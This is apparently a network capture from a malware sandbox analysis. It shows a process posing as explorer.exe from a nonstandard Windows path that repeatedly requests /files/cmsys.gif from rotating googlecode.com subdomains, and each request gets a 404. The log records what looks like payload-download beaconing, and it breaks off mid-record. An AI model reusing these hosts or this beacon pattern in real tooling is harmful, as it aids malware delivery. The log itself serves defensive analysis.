Oct 29, 2024 13:09:50.668850899 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:50 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:50.668972015 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	60694	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:51.031944990 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:51.966985941 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:51 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:51.967000961 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	60695	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:52.162714958 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:53.116728067 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:52 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:53.116743088 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	60697	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:55.409327984 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:56.332931995 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:56 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:56.333319902 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	60698	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:56.554819107 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:57.483936071 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:57 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:57.484405041 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	60699	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:57.781251907 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:58.708314896 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:58 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:58.708441019 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	60701	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:00.915157080 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:01.850070000 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:01 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:01.850105047 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	60702	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:02.118575096 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:03.036520958 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:02 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 